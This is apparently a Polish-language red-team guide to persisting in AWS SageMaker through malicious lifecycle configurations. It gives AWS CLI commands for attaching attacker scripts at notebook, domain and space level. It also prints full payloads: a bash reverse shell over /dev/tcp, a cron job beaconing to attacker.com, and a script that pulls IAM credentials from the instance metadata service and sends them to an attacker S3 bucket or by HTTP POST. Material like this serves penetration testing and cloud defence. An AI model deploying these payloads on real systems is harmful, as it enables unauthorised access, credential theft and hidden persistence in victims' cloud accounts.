6.4 KiB
AWS - Utrzymanie konfiguracji cyklu życia SageMaker
Przegląd technik utrzymania
Ta sekcja opisuje metody uzyskiwania utrzymania w SageMaker poprzez nadużywanie konfiguracji cyklu życia (LCC), w tym reverse shelle, zadania cron, kradzież poświadczeń za pomocą IMDS oraz backdoory SSH. Te skrypty działają z rolą IAM instancji i mogą utrzymywać się po ponownych uruchomieniach. Większość technik wymaga dostępu do sieci wychodzącej, ale korzystanie z usług w kontrolnej płaszczyźnie AWS może nadal umożliwić sukces, jeśli środowisko jest w trybie "tylko VPC".
Uwaga: Instancje notebooków SageMaker to w zasadzie zarządzane instancje EC2 skonfigurowane specjalnie do obciążeń związanych z uczeniem maszynowym.
Wymagane uprawnienia
- Instancje notebooków:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
- Aplikacje Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
Ustaw konfigurację cyklu życia na instancjach notebooków
Przykładowe polecenia AWS CLI:
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
Ustaw konfigurację cyklu życia w SageMaker Studio
Konfiguracje cyklu życia mogą być przypisane na różnych poziomach i do różnych typów aplikacji w SageMaker Studio.
Poziom domeny Studio (wszyscy użytkownicy)
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Poziom Studio Space (Przestrzenie Indywidualne lub Wspólne)
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Typy konfiguracji cyklu życia aplikacji Studio
Konfiguracje cyklu życia mogą być stosowane do różnych typów aplikacji SageMaker Studio:
- JupyterServer: Uruchamia skrypty podczas uruchamiania serwera Jupyter, idealne do mechanizmów utrzymywania, takich jak reverse shells i cron jobs.
- KernelGateway: Wykonywane podczas uruchamiania aplikacji kernel gateway, przydatne do początkowej konfiguracji lub trwałego dostępu.
- CodeEditor: Stosuje się do Edytora Kodów (Code-OSS), umożliwiając skrypty, które uruchamiają się na początku sesji edytowania kodu.
Przykładowe polecenie dla każdego typu:
JupyterServer
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
KernelGateway
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
CodeEditor
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
Krytyczne informacje:
- Dołączanie LCC do poziomu domeny lub przestrzeni wpływa na wszystkich użytkowników lub aplikacje w zakresie.
- Wymaga wyższych uprawnień (sagemaker:UpdateDomain, sagemaker:UpdateSpace), co zazwyczaj jest bardziej wykonalne na poziomie przestrzeni niż domeny.
- Kontrole na poziomie sieci (np. ścisłe filtrowanie egress) mogą zapobiec udanym reverse shellom lub exfiltracji danych.
Reverse Shell za pomocą konfiguracji cyklu życia
Konfiguracje cyklu życia SageMaker (LCC) wykonują niestandardowe skrypty, gdy instancje notebooków się uruchamiają. Atakujący z odpowiednimi uprawnieniami może ustanowić trwały reverse shell.
Przykład ładunku:
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
Utrzymywanie się przez Cron Job za pomocą konfiguracji cyklu życia
Napastnik może wstrzykiwać zadania cron za pomocą skryptów LCC, zapewniając okresowe wykonywanie złośliwych skryptów lub poleceń, co umożliwia dyskretne utrzymywanie się.
Przykład ładunku:
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
Ekstrakcja poświadczeń za pomocą IMDS (v1 i v2)
Konfiguracje cyklu życia mogą zapytywać o Usługę Metadanych Instancji (IMDS), aby uzyskać poświadczenia IAM i wyekstrahować je do lokalizacji kontrolowanej przez atakującego.
Przykład ładunku:
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload